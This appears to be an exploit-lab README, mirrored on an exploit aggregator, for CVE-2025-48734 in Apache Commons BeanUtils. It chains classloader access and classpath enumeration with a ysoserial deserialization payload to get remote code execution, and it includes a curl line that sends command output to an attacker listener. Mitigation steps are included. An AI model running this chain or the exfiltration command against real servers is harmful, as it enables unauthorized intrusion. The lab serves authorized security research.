## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-H3RAKLEZ-CVE-2025-48734
# CVE-2025-48734: Apache Commons BeanUtils β enum declaringClass Information Leak & RCE Chain
> **For educational and authorized security research purposes only.**
This repository provides a controlled lab environment to reproduce the **CVE-2025-48734** vulnerability in Apache Commons BeanUtils and explore how an attacker could escalate to remote code execution (RCE) under certain conditions.
* * *
## π Vulnerability Description
**CVE-2025-48734** affects Apache Commons BeanUtils in versions prior to **1.11.0** (and the 2.x branch before **2.0.0-M2**). The issue lies in `PropertyUtilsBean` allowing access to the `declaringClass` property of Java enums through nested paths (e.g., `enum.declaringClass`). All enums inherit the `getDeclaringClass()` method from `java.lang.Enum`, which BeanUtils exposes as a navigable property.
An attacker who can control the property path in calls to `getProperty()` or `getNestedProperty()` can:
* Obtain a reference to the application's `ClassLoader` (via `enum.declaringClass.classLoader`).
* Enumerate all JARs loaded at runtime by iterating `classLoader.URLs[n]`.
* Escalate to RCE if the application has an unsafe deserialization endpoint and a vulnerable gadget library in its classpath.
> β οΈ **Important:** The vulnerability alone **does not directly grant RCE**. It provides access to the `ClassLoader` and enables classpath enumeration, which must be chained with an unsafe deserialization endpoint and a vulnerable gadget library to achieve code execution. See the Detailed Exploit Analysis section.
**CVSS Score:** 8.8 (High) β `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`
* * *
## π§ͺ Lab Environment
### Infrastructure
The lab consists of two components:
* **Debian VM** β runs the vulnerable Spring Boot application.
* **Kali VM** β runs the attack tooling.
### Vulnerable Application (Debian)
A Spring Boot service exposing the following endpoints:
* `GET /api/property?path=<property-path>` β reads a nested property using `PropertyUtilsBean.getNestedProperty()` without sanitization. **This is the CVE entry point.**
* `GET /api/nested-set?path=<path>&value=<value>` β writes nested properties (also vulnerable).
* `POST /api/data/import` β accepts raw Java serialized objects (`application/octet-stream`) and deserializes them without validation. **This is the RCE delivery vector.**
The target bean is an `Order` object containing a `Status` enum. This allows building the chain `status.declaringClass.classLoader`.
> **Note:** The `/api/data/import` endpoint is **not part of CVE-2025-48734**. It is included to simulate a realistic scenario where a vulnerable deserialization endpoint coexists with the CVE. In a real application this type of endpoint appears in legacy integrations, internal APIs, or misconfigured middleware.
### Vulnerable Dependencies
Library| Version| Role in the chain
---|---|---
`commons-beanutils`| 1.9.4| CVE-2025-48734 entry point
`commons-collections`| 3.2.2| Deserialization gadget chain
* * *
## βοΈ Quick Setup
### Debian VM
root@kitploit:~
chmod +x setup-lab-debian.sh
./setup-lab-debian.sh
The script installs dependencies, compiles the project, registers it as a systemd service, and starts it automatically. The application listens on `0.0.0.0:8080`.
### Kali VM
root@kitploit:~
chmod +x kali-lab-tools.sh
./kali-lab-tools.sh <debian_ip> 8080
The script installs dependencies and downloads ysoserial.
* * *
## π Full Attack Chain
The exploit is fully automated in a single script that enforces the correct phase order. **Each phase is a prerequisite for the next.**
root@kitploit:~
cd ~/lab-tools
./exploit.sh <debian_ip> 8080 '<command>'
### Phase 1 β CVE-2025-48734 Reconnaissance
The script probes `status.declaringClass` and `status.declaringClass.classLoader`. If either is blocked, the script aborts β the application is patched and the chain cannot proceed.
root@kitploit:~
GET /api/property?path=status.declaringClass
β "status": "success", "valueClass": "java.lang.Class"
GET /api/property?path=status.declaringClass.classLoader
β "status": "success", "valueClass": "org.springframework.boot.loader.LaunchedURLClassLoader"
### Phase 2 β Classpath Enumeration via CVE
Using the `ClassLoader` reference obtained in Phase 1, the script iterates `classLoader.URLs[n]` to list all loaded JARs and looks for Commons Collections 3.x. If not found, the script aborts β no gadget chain is available.
root@kitploit:~
GET /api/property?path=status.declaringClass.classLoader.URLs[0]
β jar:file:/β¦/BOOT-INF/classes!/
GET /api/property?path=status.declaringClass.classLoader.URLs[30]
β jar:file:/β¦/BOOT-INF/lib/commons-collections-3.2.2.jar!/
### Phase 3 β Deserialization Endpoint Discovery
With a gadget chain confirmed, the script fuzzes common import/sync endpoints sending the Java serialization magic bytes (`0xACED0005`) and identifies endpoints attempting `ObjectInputStream.readObject()` by their response pattern. If no endpoint is found, the script aborts.
root@kitploit:~
POST /api/data/import (magic bytes)
β HTTP 200 β endpoint found
### Phase 4 β Payload Generation and Delivery
ysoserial generates a `CommonsCollections6` payload (most portable for Java 11+) and sends it to the discovered endpoint.
root@kitploit:~
POST /api/data/import
Content-Type: application/octet-stream
Body: <ysoserial CommonsCollections6 payload>
β {"status": "success", "class": "java.util.HashSet"}
### Phase 5 β RCE Confirmed
The command executes on the server during deserialization, before the response is returned. Output can be exfiltrated by redirecting to a file or via HTTP callback:
root@kitploit:~
# Write to file
./exploit.sh <ip> 8080 'bash -c {id,}>/tmp/out.txt'
# Then on Debian: cat /tmp/out.txt
# β uid=0(root) gid=0(root) groups=0(root)
# Exfiltrate via HTTP (listener on Kali)
python3 -m http.server 9000
./exploit.sh <ip> 8080 'curl http://<kali_ip>:9000/$(id)'
* * *
## π Why is CVE-2025-48734 a prerequisite for RCE?
The CVE is not a direct RCE vector β it is the **reconnaissance pivot** that makes the rest of the chain possible:
root@kitploit:~
Without CVE-2025-48734:
β No ClassLoader access
β No classpath enumeration
β No way to confirm Commons Collections 3.x is present
β No reason to look for a deserialization endpoint
β Chain broken at the start
With CVE-2025-48734:
β ClassLoader exposed
β Full classpath visible via URLs[n]
β Commons Collections 3.x confirmed
β Deserialization endpoint discovered via fuzzing
β RCE achieved
The three conditions that must align for full RCE:
Condition| This lab| Real world
---|---|---
BeanUtils < 1.11.0 with unfiltered path input| β
| Common in legacy apps
Gadget library in classpath (CC 3.x)| β
| Frequent in enterprise Java
Unsafe deserialization endpoint
* * *
## π‘οΈ Mitigation and Patch
### Fix CVE-2025-48734
Upgrade Commons BeanUtils:
Artifact| Vulnerable| Safe
---|---|---
`commons-beanutils:commons-beanutils`| < 1.11.0| **> = 1.11.0**
`org.apache.commons:commons-beanutils2`| < 2.0.0-M2| **> = 2.0.0-M2**
In `pom.xml`:
root@kitploit:~
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.11.0</version>
</dependency>
### Fix Unsafe Deserialization
Two complementary mitigations:
1. **Upgrade Commons Collections** to 4.x β removes the gadget chain.
2. **Add an ObjectInputFilter** β restricts which classes can be deserialized:
root@kitploit:~
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(
"java.lang.Integer;java.lang.String;!*"
));
### Verifying the Patch
After upgrading BeanUtils to 1.11.0, recompile and restart the service. Run the exploit script β it should abort at Phase 1:
root@kitploit:~
[-] declaringClass bloqueado - aplicacion PARCHEADA. Abortando.
* * *
## π References
* CVE-2025-48734 on NVD
* GitHub Advisory GHSA-wxr5-93ph-8wr9
* Apache Commons BeanUtils Security Reports
* ysoserial
* * *
## Disclaimer
This tool is provided for **educational purposes and authorized security testing only**. Unauthorized use against systems you do not own or have explicit written permission to test is illegal. The author is not responsible for any misuse.